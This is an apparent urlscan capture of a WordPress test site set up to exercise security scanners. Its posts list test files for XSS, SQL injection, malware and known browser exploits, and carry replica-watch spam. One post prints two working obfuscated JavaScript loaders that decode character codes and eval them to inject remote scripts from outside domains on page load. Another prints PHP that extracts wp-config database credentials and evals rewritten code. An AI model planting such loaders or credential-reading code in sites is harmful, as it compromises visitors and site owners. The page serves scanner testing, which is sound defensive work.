yl0206-12.sldev7.com
Open in
urlscan Pro
108.179.226.25
Public Scan
URL:
https://yl0206-12.sldev7.com/
Submission: On February 06 via api from US — Scanned from US
Submission: On February 06 via api from US — Scanned from US
Form analysis
1 forms found in the DOMGET https://yl0206-12.sldev7.com/
<form role="search" method="get" class="search-form" action="https://yl0206-12.sldev7.com/">
<label>
<span class="screen-reader-text">Search for:</span>
<input type="search" class="search-field" placeholder="Search …" value="" name="s">
</label>
<input type="submit" class="search-submit" value="Search">
</form>
Text Content
Skip to content YL TEST WP 0206-12 Just another WordPress site POST 01 EN. Lorem ipsum SPAM LINK 01, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Nulla posuere sollicitudin aliquam ultrices sagittis orci a scelerisque purus. Odio eu feugiat pretium nibh ipsum. Et tortor at risus viverra. Tempus iaculis urna id volutpat lacus laoreet SPAM LINK 02. Lacinia quis vel eros donec ac odio tempor orci dapibus. Pellentesque id nibh tortor id aliquet. Tellus cras adipiscing enim eu turpis egestas. Lorem ipsum dolor sit amet consectetur adipiscing elit pellentesque habitant. TEST_xss_and_sqli.php?amount=20 TEST_xss_and_sqli.php?name=admin TEST_xss_and_sqli.php?id=1=20 TEST_xss_and_sqli.php?term=aaa TEST_xss_and_sqli.php?term=aaa&id=1&name=admin&amount=20 TEST_eicar.html TEST_FILE_zipbomb.zip TEST_malware_01.php TEST_malware_02.php TEST_malware_03.php TEST_malware_07.html TEST_malware_09.js test_xss.html text_xss2.php TEST_eicar.html TEST_FILE_zipbomb.zip TEST_js_crypto_miner.html TEST_adobe_flash_hacking_team_uaf.html TEST_adobe_flash_hacking_team_uaf.swf TEST_firefox_proto_crmfrequest.html TEST_firefox_proto_crmfrequest_addon.xpi TEST_java_jre17_exec.html TEST_java_jre17_exec.jar TEST_ms03_020_ie_objecttype.html audemars piguet replica cheap replica watches Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post 01 en. POST 02 RU. Лорем ипсум СПАМ ССЫЛКа 03, ет малуиссет симилияуе яуо, дуо цу яуот ностер фастидии, хинц магна вел еа. Диам ерипуит саперет ат нец, пурто цлита импердиет ест ан. Омниум цопиосае цу вих, ест видерер ратионибус ех. Синт пробатус меи еу, Спам ссылка 04 цонцлусионемяуе ид. Ин примис сусципиантур сед. Цум не десерунт пертинах, ид иус мутат аутем. Вих популо цоррумпит нецесситатибус ет. TEST_js_crypto_miner.html TEST_malware_04.php TEST_malware_05.php TEST_malware_06.php TEST_malware_08.html TEST_malware_10.js TEST_ms05_054_onload.html TEST_ms09_002_memory_corruption.html TEST_ms09_072_style_object.html TEST_ms10_090_ie_css_clip_ie6.html TEST_ms11_003_ie_css_import_ie6.html TEST_ms11_003_ie_css_import_ie6_generic.dll TEST_ms14_064_ole_not_xp.html TEST_ms14_064_ole_xp.gif TEST_ms14_064_ole_xp.html TEST_vlc_amv.amv TEST_vlc_amv.html audemars piguet replica cheap replica watches Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post 02 ru. POST ./TEST_MALWARE_08.JS var z=String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,32,101,108,115,101,32,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*77476456347368*/t); var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*465833345632*/t); Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_08.js POST ./TEST_MALWARE_07.JS audemars piguet replica cheap replica watches Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_07.js POST ./TEST_SUSPISIOS_FILE_01.PHP $header_value ) { if ( strcasecmp( $header_key, $header_with_ip_key ) === 0 ) { // if this is a comma-separated list of IPs if ( stripos( $header_value, ‘,’ ) !== false ) { $ips = explode( ‘,’, $header_value ); foreach( $ips AS $ip) { $collected_IPs[] = trim( $ip ); } } // original logic: single IP value else { $collected_IPs[] = $header_value; } } } } // original logic – fallback case $collected_IPs[] = $_SERVER[‘REMOTE_ADDR’]; $validated_IPs = array(); foreach( $collected_IPs AS $collected_IP ) { if ( version_compare( PHP_VERSION, ‘5.2.0’, ‘>=’ ) ) { if ( filter_var( $collected_IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) { // store them as keys to avoid duplicates $validated_IPs[ $collected_IP ] = true; } } } return array_keys( $validated_IPs ); } function add_to_log( $message = ”, $title = ” ) { global $_LOG; if ( $title != ” ) { $_LOG .= ‘ ‘ . $title . ‘ ‘; } ob_start(); echo ‘ '; print_r( $message ); echo ' ‘; echo ‘ -------------------------------------------------------------------------------- ‘; $_LOG .= ob_get_contents(); ob_end_clean(); } function delete_log_file() { global $_FEATURECODE; $log_file_name = “{$_FEATURECODE}_log.php”; if ( file_exists( $log_file_name ) ) { unlink( $log_file_name ); } } function add_to_log_section_start( $section_name ) { global $_LOG; $color = ‘#FFF’; switch( $section_name ) { case ‘CheckFeatures’: $color = ‘#AAF’; break; case ‘RemoteApi’: $color = ‘#FAF’; break; case ‘GrabAndZip’: case ‘BackupGrabAndZip’: $color = ‘#AFA’; break; case ‘UnzipAndApply’: case ‘BackupUnzipAndApply’: $color = ‘#FFA’; break; case ‘IP Validation’: $color = ‘#AAA’; break; case ‘Encryption’: $color = ‘#AFF’; break; } $_LOG .= “ “; $_LOG .= “ {$SECTION_NAME} “; } // saves the log… not so sure about function name function send_email( $message = ” ) { global $_SAVE_LOG, $_FEATURECODE; $log_file_name = “{$_FEATURECODE}_log.php”; // if URL is Staging, always log since this is where we’d test and review logs frequently if ( preg_match( ‘/mapi.[a-z]+.dev[\d]?.sitelock.com/’, API_URL ) == 1 ) { $_SAVE_LOG = true; } if ( $_SAVE_LOG ) { // first, remove previous log file if ( file_exists( $log_file_name ) ) { unlink( $log_file_name ); } // next, create the log file again $log = fopen( $log_file_name, “w” ); // add logging data to the log file fwrite( $log, $message ); // close the log file fclose( $log ); } } function get_our_path() { $parts = func_get_args(); return implode(DIRECTORY_SEPARATOR, $parts); } function delete_unique_directory( $path = false ) { global $_UNIQUE, $descriptor_ext; $deleted_items = 0; if ( !$path ) { $path = get_our_path(‘.’, “.$_UNIQUE” ); } if ( is_dir( $path ) ) { // check for files in our $_UNIQUE $descriptor_file = glob( $path . DIRECTORY_SEPARATOR . ‘*.zip’ . $descriptor_ext ); if ( isset( $descriptor_file[0] ) && is_file( $descriptor_file[0] ) && file_exists( $descriptor_file[0] ) ) { unlink( $descriptor_file[0] ); $deleted_items++; add_to_log( $descriptor_file[0], ‘delete_unique_directory – unlink( $descriptor_file[0] );’); } $zip_chunks = glob( $path . DIRECTORY_SEPARATOR . ‘*.zip.[0-9]*’ ); if ( is_array( $zip_chunks ) ) { foreach ( $zip_chunks as $file ) { // delete file if ( is_file( $file ) && file_exists( $file ) ) { unlink( $file ); $deleted_items++; add_to_log( $file, ‘delete_unique_directory – file chunk’); } } } // @TODO remove this eventually // old logic – for unchunked zip file { $zip_files = glob( $path . DIRECTORY_SEPARATOR . ‘[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][12][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9].zip’ ); if ( is_array( $zip_files ) ) { foreach ( $zip_files as $file ) { // delete file $deleted_items++; unlink( $file ); } } } // check for any csv files that were not successfully zipped – those contain raw data and gotta be clenaup up for good! $raw_CSVs = glob( $path . DIRECTORY_SEPARATOR . ‘*-[12][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9].csv’ ); if ( is_array( $raw_CSVs ) ) { foreach ( $raw_CSVs as $file ) { // delete file if ( is_file( $file ) && file_exists( $file ) ) { unlink( $file ); $deleted_items++; add_to_log( $file, ‘delete_unique_directory – raw csv’); } } } // now that all files are deleted we can delete the directory rmdir( $path ); $deleted_items++; add_to_log( $path, ‘delete_unique_directory – rmdir( $path )’); } return $deleted_items; } // Adding this function to drop files left in /tmp since upgrade to chunking, when API stopped calling ‘cmd=complete’ // @TODO: remove & stop calling this some time in the future function cleanup_old_tmp_trash() { global $_UNIQUE, $_SAVE_LOG; $cleanups_count = 0; $dir = dirname( __FILE__ ) . DIRECTORY_SEPARATOR; // (1) Cleanup older bullet files $glob_bullet_1_char = ‘[0-9a-f]’; $glob_file_name_pattern = str_repeat( $glob_bullet_1_char, 32 ); $files = glob( $dir . $glob_file_name_pattern . ‘.php’ ); if ( is_array( $files ) ) { foreach ( $files as $file ) { // skip our own bullet if ( $file == __FILE__ ) { continue; } // check file if ( is_file( $file ) && file_exists( $file ) && !file_was_recently_modified( $file ) ) { // make sure file content is what we expect and not user’s file that happened to have matching name $fh = fopen( $file, ‘r’ ); $line1 = trim( fgets( $fh ) ); $line2 = trim( fgets( $fh ) ); fclose( $fh ); if ( $line1 == ‘ 1000000000 // check if it looks like a timestamp of value after 2001-ish ) { unlink( $file ); $cleanups_count++; add_to_log( $file, ‘cleanup_old_tmp_trash (1.1)’); } } } } // (2) Cleanup: older key filesand directories $paths = glob( $dir . ‘.’ . $glob_file_name_pattern ); if ( is_array( $paths ) ) { foreach ( $paths as $path ) { //skip our own bullet’s temp dir if ( $path == realpath( get_our_path(‘.’, “.$_UNIQUE”) ) ) { continue; } if ( file_exists( $path ) ) { // (2.1) Cleanup: older key files (name format: .[32 hex chars]) if ( is_file( $path ) && !file_was_recently_modified( $path ) ) { // make sure file content is what we expect and not user’s file that happened to have matching name $fh = fopen( $path, ‘r’ ); $line1 = trim( fgets( $fh ) ); $line2 = fgets( $fh ); fclose( $fh ); if ( !$line2 && // file has only one line ( $delim_pos = strpos( $line1, ‘:’ ) ) !== false && // parameter after “:” decodes as hex preg_match( ‘/[0-9a-f]+/’, base64_decode( substr( $line1, $delim_pos +1 ) ) ) == 1 // looks like encoded key ) { unlink( $path ); $cleanups_count++; add_to_log( $path, ‘cleanup_old_tmp_trash (2.1)’); } } // (2.2) Cleanup: older directories (name format: .[32 hex chars] as well) if ( is_dir( $path ) && !file_was_recently_modified( $path . DIRECTORY_SEPARATOR . ‘.’ ) ) { $cleanups_count += delete_unique_directory( $path ); } } } } // (3) Cleanup: zip files for restore that were never removed. // Safe to remove them all as long as we only cann this from Grab and Zip, // so valid uploaded zips for Unzip and Apply should all processed and removed by now. $zip_paths = glob( $dir . $glob_file_name_pattern . ‘.zip’ ); if ( is_array( $zip_paths ) ) { foreach ( $zip_paths as $file ) { // check file if ( is_file( $file ) && file_exists( $file ) && !file_was_recently_modified( $file ) ) { unlink( $file ); $cleanups_count++; add_to_log( $file, ‘cleanup_old_tmp_trash (3)’); } } } // if anything was cleaned up, log everything for review if ( $cleanups_count > 0 ) { $_SAVE_LOG = true; } } // Helper function to determine if file was modified recently // anything less than 6 hours will be considered recent/active and will not be touched function file_was_recently_modified( $path, $how_old_is_old = 21600 ) { global $_START_TIME; // check time difference between bullet creation and file modification $time_diff = $_START_TIME – filemtime( $path ); if ( $time_diff < $how_old_is_old ) { return true; } return false; } function try_json_decode( $string ) { if ( // pure number will be JSON-encoded w/o any changes, so need to check for explicit JSON delimiters: ( substr( $string, 0, 1 ) == '{' || substr( $string, 0, 1 ) == '[' ) && // if parsing fails, error will be recorded ( $parsed_string = json_decode( $string, true, 2, JSON_BIGINT_AS_STRING ) ) && json_last_error() === JSON_ERROR_NONE ) { return $parsed_string; } else { return $string; } } function log_bullet_run_time() { global $_START_TIME; $time = round( microtime(true) - $_START_TIME, 2 ); add_to_log( $time, 'Bullet run time, seconds.' ); return $time; } function obfuscate( $value, $length = 3, $replacement = '***' ) { return substr( $value, 0, $length ) . $replacement; } # OtherUtils - END # HTTP - START define('API_URL', 'https://mapi.sitelock.com/v3/connect/' ); define('MAPI_CURL_CONNECT_TIMEOUT', '3' ); define('MAPI_CURL_RESPONSE_TIMEOUT', '10' ); const LOG_MAPI_NONE = 0; const LOG_MAPI_REQUEST = 1; const LOG_MAPI_ALL = 2; $CURL_INIT_ERR = false; $CURL_MAPI_ERR = false; function mapi_post( $token, $action, $params, $log_level = LOG_MAPI_ALL ) { global $_SAVE_LOG; if ( !is_array($params)) { die('_bad_post_params'); } $request = array( 'pluginVersion' => ‘100.0.0’, ‘apiTargetVersion’ => ‘3.0.0’, ‘token’ => $token, ‘requests’ => array( ‘id’ => md5(microtime()) . ‘-‘ . implode(”, explode(‘.’, microtime(true))), ‘action’ => $action, ‘params’ => $params, ), ); $rjson = json_encode($request); // json must be base64 encoded $rjson = base64_encode( $rjson ); if ( $log_level >= LOG_MAPI_REQUEST ) { add_to_log(API_URL, ‘mapi_post URL’); // hide token from log $request_cleaned = $request; $request_cleaned[‘token’] = obfuscate( $request_cleaned[‘token’] ); add_to_log($request_cleaned, ‘mapi_post_request’); } $return = curl_post( API_URL, $rjson ); if( !isset( $return->status ) || $return->status != ‘ok’ ) { $_SAVE_LOG = true; } if ( $log_level == LOG_MAPI_ALL ) { // clean up tokens from response $return = str_replace( $token, obfuscate($token), $return ); add_to_log(‘‘ . $return . ‘‘, ‘mapi_response’); } return $return; } function curl_post( $url, $postbody, $log_level = LOG_MAPI_ALL ) { global $CURL_INIT_ERR, $CURL_MAPI_ERR; if ( ($disabled_functions=test_curl_available()) !== true ) { $CURL_INIT_ERR = true; add_to_log( ‘FALSE’, ‘test_curl_available() returned the following disabled cURL functions: ‘ . implode(‘, ‘, $disabled_functions)); return false; } else { $CURL_INIT_ERR = false; } $ch = curl_init( $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postbody); // control timeout curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, MAPI_CURL_CONNECT_TIMEOUT); curl_setopt($ch, CURLOPT_TIMEOUT, MAPI_CURL_RESPONSE_TIMEOUT); $ret = curl_exec($ch); // capture and store error globaly if return looks like a failure if($ret === false) { $CURL_MAPI_ERR = curl_error($ch); } // otherwise, clean up the error else { $CURL_MAPI_ERR = false; if ( $log_level >= LOG_MAPI_REQUEST ) { $info = curl_getinfo($ch); add_to_log($info, ‘curl_getinfo()’); } } curl_close($ch); return $ret; } function test_curl_available() { if ( !extension_loaded(‘curl’) ) { return [‘cURL Extension’]; } $function_names = [ ‘curl_init’, ‘curl_exec’, ‘curl_post’, ‘curl_setopt’, ‘curl_error’, ‘curl_getinfo’, ‘curl_close’ ]; $disabled_functions = []; foreach($function_names AS $function_name) { if ( !function_exists($function_name) ) { $disabled_functions[] = $function_name; } } return empty($disabled_functions) ? true : $disabled_functions; } // Complete simple self-test initited by API. // Get a response – bullet is reachable via HTTP function test_bullet_is_reachable() { if ( $_GET[ ‘cmd’ ] == ‘test’ ) { die( json_encode( array( ‘status’ => ‘ok’ ) ) ); } } # HTTP – END # Encryption – START add_to_log_section_start( ‘Encryption’ ); add_to_log( defined(‘PHP_VERSION’) ? PHP_VERSION : phpversion(), ‘PHP Version’); define( ‘OPENSSL’, ‘OpenSSL’ ); define( ‘MCRYPT’, ‘MCrypt’ ); define( ‘CRYPTOR’, establish_cryptor() ); // only applies to MCrypt, which is deprecated as of PHP 7.1, but still in use by some clients define( ‘ENCRYPT_DEFAULT_MODE’, establish_default_mode() ); $_ENCRYPT_USE_CIPHER = establish_default_cipher(); $_ENCRYPT_USE_CIPHER_KEY = null; $_ENCRYPT_USE_CIPHER_IV = null; check_internal_encoding(); function establish_cryptor() { if ( function_exists(‘openssl_cipher_iv_length’) && function_exists(‘openssl_get_cipher_methods’) && function_exists(‘openssl_encrypt’) && function_exists(‘openssl_decrypt’) ) { add_to_log( OPENSSL, ‘Cryptor’); return OPENSSL; } else if ( function_exists(‘mcrypt_get_iv_size’) && function_exists(‘mcrypt_get_key_size’) && function_exists(‘mcrypt_list_algorithms’) && function_exists(‘mcrypt_encrypt’) && function_exists(‘mcrypt_decrypt’) ) { add_to_log( MCRYPT, ‘Cryptor’); return MCRYPT; } else { update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘establish_cryptor’ ) ); } } function establish_default_cipher() { if ( CRYPTOR === OPENSSL ) { $algorithms = openssl_get_cipher_methods(true); // In the order of preference, we want to use AES-CBC from 256 down to 128. // bf-cbc is here to preserve bullet’s legacy logic, although PERL’s original logic is to use blowfish, so including it first. $preferred_algos = [ ‘aes-256-cbc’, ‘aes-192-cbc’, ‘aes-128-cbc’, ‘blowfish’, ‘bf-cbc’ ]; foreach( $preferred_algos AS $preferred_algo ) { if ( in_array( $preferred_algo, $algorithms ) ) { add_to_log( $preferred_algo, ‘Default Cipher’); return $preferred_algo; } } // otherwise we can’t proceed: PERL can’t use arbitrary cipher if it doesn’t expect it update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘None of preferred cryptors found in establish_default_cipher’ ) ); } else if ( CRYPTOR === MCRYPT ) { $algorithms = mcrypt_list_algorithms(); // see if we can use blowfish if ( in_array( MCRYPT_BLOWFISH, $algorithms ) ) { add_to_log( MCRYPT_BLOWFISH, ‘Cipher’); return MCRYPT_BLOWFISH; } // otherwise use the first one from the list else { add_to_log( “Will use {$algorithms[0]} from ” . json_encode($algorithms), ‘MCrypt “blowfish” not found!’ ); return $algorithms[0]; } } else { update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘unknown cryptor “‘ . CRYPTOR . ‘” in establish_default_cipher’ ) ); } } function establish_default_mode() { if ( CRYPTOR === OPENSSL ) { // mode not used by OpenSSL return 0; } else if ( CRYPTOR === MCRYPT ) { // see if we can use mcrypt constant if ( defined( MCRYPT_MODE_CBC ) ) { add_to_log( MCRYPT_MODE_CBC, ‘Mode’); return MCRYPT_MODE_CBC; } // otherwise try to manually use ‘CBC’; else { add_to_log( “Manually set mode to cbc”, ‘MCRYPT_MODE_CBC not found!’ ); return ‘cbc’; } } else { update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘establish_default_mode’ ) ); } } function get_encryption_info() { global $_TOKEN, $_SITEID, $_SINGLEID, $_ENCRYPT_USE_CIPHER, $_ENCRYPT_USE_CIPHER_KEY, $_ENCRYPT_USE_CIPHER_IV; if ( $_ENCRYPT_USE_CIPHER && $_ENCRYPT_USE_CIPHER_KEY && $_ENCRYPT_USE_CIPHER_IV) { return [ 0 => $_ENCRYPT_USE_CIPHER, 1 => $_ENCRYPT_USE_CIPHER_KEY, 2 => $_ENCRYPT_USE_CIPHER_IV, ]; } $payload = array( ‘site_id’ => $_SITEID, ‘queue_id’ => $_SINGLEID ); $raw_response = mapi_post( $_TOKEN, ‘s3_get_enc_info’, $payload, LOG_MAPI_REQUEST ); $get_encryption_info_response = json_decode( $raw_response, true ); // Only continue if status is successful if ( isset( $get_encryption_info_response[‘responses’][0][‘data’][‘s3_status’] ) && $get_encryption_info_response[‘responses’][0][‘data’][‘s3_status’] == ‘ok’ ) { $data = $get_encryption_info_response[‘responses’][0][‘data’]; $cipher = $data[‘cipher’]; $key = base64_decode($data[‘cipher_key’]); $iv = base64_decode($data[‘cipher_iv’]); add_to_log( [ ‘cipher’ => $cipher, ‘key’ => obfuscate( $data[‘cipher_key’] ), ‘iv’ => obfuscate( $data[‘cipher_iv’] ) ], ‘Received encryption details’); switch( CRYPTOR ) { case OPENSSL : $iv = str_pad(”, openssl_cipher_iv_length( $cipher ), $iv ); break; case MCRYPT : $iv = str_pad(”, mcrypt_get_iv_size( $cipher, ENCRYPT_DEFAULT_MODE), $iv ); $key = str_pad(”, mcrypt_get_key_size($cipher, ENCRYPT_DEFAULT_MODE), $key); break; default: update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘2 (Unknown cryptor: ‘ . CRYPTOR . ‘)’ ) ); } // cache values $_ENCRYPT_USE_CIPHER = $cipher; $_ENCRYPT_USE_CIPHER_KEY = $key; $_ENCRYPT_USE_CIPHER_IV = $iv; // New in [SE-957]: now also returning cipher return array( 0 => $cipher, 1 => $key, 2 => $iv, ); } else { update_scan_on_error( ‘ENCRYPTION_FAILED’, array( ‘encfail’ => ‘6 (Problem with get_enc_info call)’ ) ); } } function encrypt_string( $string ) { global $_FEATURECODE; list($cipher, $key, $iv) = get_encryption_info(); if ( CRYPTOR === OPENSSL ) { // 1) Backup: if ( $_FEATURECODE == BACKUP ) { // Prior to PHP 5.4, $options param was boolean raw_data with “true” equivalent to the new flag // https://stackoverflow.com/questions/24707007/using-openssl-raw-data-param-in-openssl-decrypt-with-php-5-3 // OPENSSL_RAW_DATA flag takes care of returning raw encoded data, so we no longer need to take 2 extra steps // to base64-decode string that was just being base64-encoded automatically by openssl_encrypt. $options = defined( OPENSSL_RAW_DATA ) ? OPENSSL_RAW_DATA : 1; return openssl_encrypt($string, $cipher, $key, $options, $iv); } // 2) DB Scan // API still sends data with padding so we’ll keep the original logic // 2.1) NEW DB Scan: else if ( $_FEATURECODE == DBSCAN ) { $options = defined( OPENSSL_RAW_DATA ) ? OPENSSL_RAW_DATA : 1; return openssl_encrypt($string, $cipher, $key, $options, $iv); } } if ( CRYPTOR === MCRYPT ) { $mode = ENCRYPT_DEFAULT_MODE; return mcrypt_encrypt($cipher, $key, $string, $mode, $iv); } update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘4 (encrypt_string)’ ) ); } function decrypt_string( $string ) { global $_FEATURECODE; list($cipher, $key, $iv) = get_encryption_info(); if ( CRYPTOR === OPENSSL ) { // 1) Backup: if ( $_FEATURECODE == BACKUP ) { // Using same OPENSSL_RAW_DATA flag as in encrypt_string above to make encryption and decryption function symmetrically $options = defined( OPENSSL_RAW_DATA ) ? OPENSSL_RAW_DATA : 1; return openssl_decrypt($string, $cipher, $key, $options, $iv); } // 2) DB Scan // 2.1) NEW DB Scan else if ( $_FEATURECODE == DBSCAN ) { // Using same OPENSSL_RAW_DATA flag as in encrypt_string above to make encryption and decryption function symmetrically $options = defined( OPENSSL_RAW_DATA ) ? OPENSSL_RAW_DATA : 1; return openssl_decrypt($string, $cipher, $key, $options, $iv); } } if ( CRYPTOR === MCRYPT ) { $mode = ENCRYPT_DEFAULT_MODE; return mcrypt_decrypt($cipher, $key, $string, $mode, $iv); } update_scan_on_error( ‘CHECK_FEATURE_ERR_NO_CRYPTO’, array( ‘encfail’ => ‘5 (decrypt_string)’ ) ); } function check_internal_encoding() { if ( function_exists( ‘mb_internal_encoding’ ) ) { add_to_log( mb_internal_encoding(), ‘mb_internal_encoding’ ); } else { add_to_log( ‘Not available, possibly no mbstring extension.’, ‘mb_internal_encoding’ ); } } # Encryption – END /** * MAIN point of entry for WordPress */ function import_WP_creds() { $localdir = get_bullet_location(); if ( file_exists( $localdir . ‘wp-config.php’ ) ) { $file = file_get_contents( $localdir . ‘wp-config.php’ ); }else{ // check one level up just like in wp-load.php. If wp-settings.php exists, then that is a separate WP install not to be used if ( @file_exists( dirname( $localdir ) . ‘/wp-config.php’ ) && !@file_exists( dirname( $localdir ) . ‘/wp-settings.php’ ) ) { $file = file_get_contents( dirname( $localdir . $extradir ) . ‘/wp-config.php’ ); }else{ // check for hard-coded subdir paths in index.php. Only check for this if standard config fails $hard_path =”; if ( @file_exists( $localdir . ‘index.php’ ) ) { $lines = file( $localdir . ‘index.php’ ); foreach ( $lines as $line ) { $end_pos = strpos( $line, ‘/wp-blog-header’); if ( $end_pos ){ $start_pos = strpos( $line, ‘/’ ); $tok_len = $end_pos – $start_pos; // extract path token without slashes $hard_path = substr( $line, $start_pos + 1, $tok_len – 1 ); break; } } if ( $hard_path ){ if ( @file_exists( $localdir . $hard_path.’/wp-config.php’ ) ) { $file = file_get_contents( $localdir . $hard_path. ‘/wp-config.php’ ); }else{ // no config detected on any known path update_scan_on_error( ‘DB_SCAN_NO_CONFIG_FOUND’, array( ‘get-config’ => array( ‘localdir’ => $localdir, ‘hard_path’ => $hard_path ) ) ); } } } } } $tokens = array(); foreach ( token_get_all($file) as $tok ) { if ( is_array($tok) && in_array( $tok[0], array( T_COMMENT, T_DOC_COMMENT, T_WHITESPACE, T_OPEN_TAG ))) { continue; } $tokens[] = $tok; } for ($i = 0, $tc = count($tokens); $i < $tc; ++$i ) { if (!is_array($t = $tokens[$i])) { continue; } switch($t[0]) { case T_STRING: if (strtolower($t[1]) != 'define') { break; } if ( !is_array($tokens[++$i]) && $tokens[$i] == '(' && is_array($tokens[++$i]) && $tokens[$i][0] == T_CONSTANT_ENCAPSED_STRING && in_array( ( $cur = clearString( $tokens[$i][1] ) ), array( 'DB_HOST', 'DB_USER', 'DB_PASSWORD', 'DB_NAME' ) ) && $tokens[++$i] == ',' && is_array($tokens[++$i]) && $tokens[$i][0] == T_CONSTANT_ENCAPSED_STRING ) { //print "Found $cur = " . clearString($tokens[$i][1]) . "\n"; define( $cur, clearString($tokens[$i][1]) ); } // check for multisite setting with bool param, not string like above. 319 is the token type of param here. if ( clearString( $tokens[$i][1] ) == 'WP_ALLOW_MULTISITE' &&$tokens[++$i] == ',' && is_array($tokens[++$i] ) && $tokens[$i][1] == 'true' ) { define( 'WP_ALLOW_MULTISITE', true ); } break; case T_VARIABLE: if ( $t[1] != '$table_prefix' ) { break; } if ( !is_array($tokens[++$i]) && $tokens[$i] == '=' && is_array($tokens[++$i]) && $tokens[$i][0] == T_CONSTANT_ENCAPSED_STRING ) { //print "Found table_prefix as " . clearString($tokens[$i][1]) . "\n"; define( 'DB_PREFIX', clearString($tokens[$i][1]) ); } break; } } if ( !( defined('DB_HOST') && defined('DB_USER') && defined('DB_PASSWORD') && defined('DB_NAME') ) ){ $wpt = token_get_all( $file ); $wpn = ''; foreach ( $wpt as $index => $t ) { switch (true) { case !is_array($t): $wpn .= $t; case in_array($t[0], array(T_INLINE_HTML, T_OPEN_TAG, T_OPEN_TAG_WITH_ECHO)): break; case in_array($t[0], array(T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_RETURN, T_EXIT, T_EVAL)): // Commenting out boolean in the middle of define was causing 500 error – not good!! // Example: define( “WP_DEBUG”, //false ); case $t[0] == T_STRING && !in_array( $t[1], array( ‘true’,’false’ ) ) and ( strtolower($t[1]) == ‘header’ || !function_exists($t[1]) ): // Also, if previous token was a silence @, we need to add comment *before* that. if ( isset( $wpt[$index-1] ) && $wpt[$index-1] == ‘@’ ) { $wpn = substr( $wpn, 0, strlen()-2 ) . ‘//@’; } else { $wpn .= ‘//’; } default: $wpn .= $t[1]; } } eval( $wpn ); // I’ve seen case of host being completely commented out, which will result in a token value of “DB_HOST” which is wrong // Having no host value likely means use localhost if ( DB_HOST == ‘DB_HOST’ ) { define( ‘DB_HOST’, ‘localhost’ ); } } } // we need this static class/function because closure syntax is unsupported until PHP 5.3 class My_callback { public function __construct() { } function callback( $matches ){ return stripslashes( $matches[0] ); } } function clearString($sample, $preserve_quotes = false) { if (!is_string($sample) || strlen($sample) < 1 || (!$preserve_quotes && ( $sample == "''" || $sample == '""' ) )) { return ''; } if ( strlen($sample) > 1 && $sample[0] == “‘” ) { if (!$preserve_quotes) { $sample = substr($sample, 1, -1); } return str_replace(array(‘\\\”, ‘\\\\’), array(“‘”, ‘\\’), $sample); } if (!$preserve_quotes && strlen($sample) > 1 && $sample[0] == ‘”‘ && substr($sample, -1, 1) == ‘”‘) { $sample = substr($sample, 1, -1); } // preg_replace with \e modifier is deprecated (17945) //return 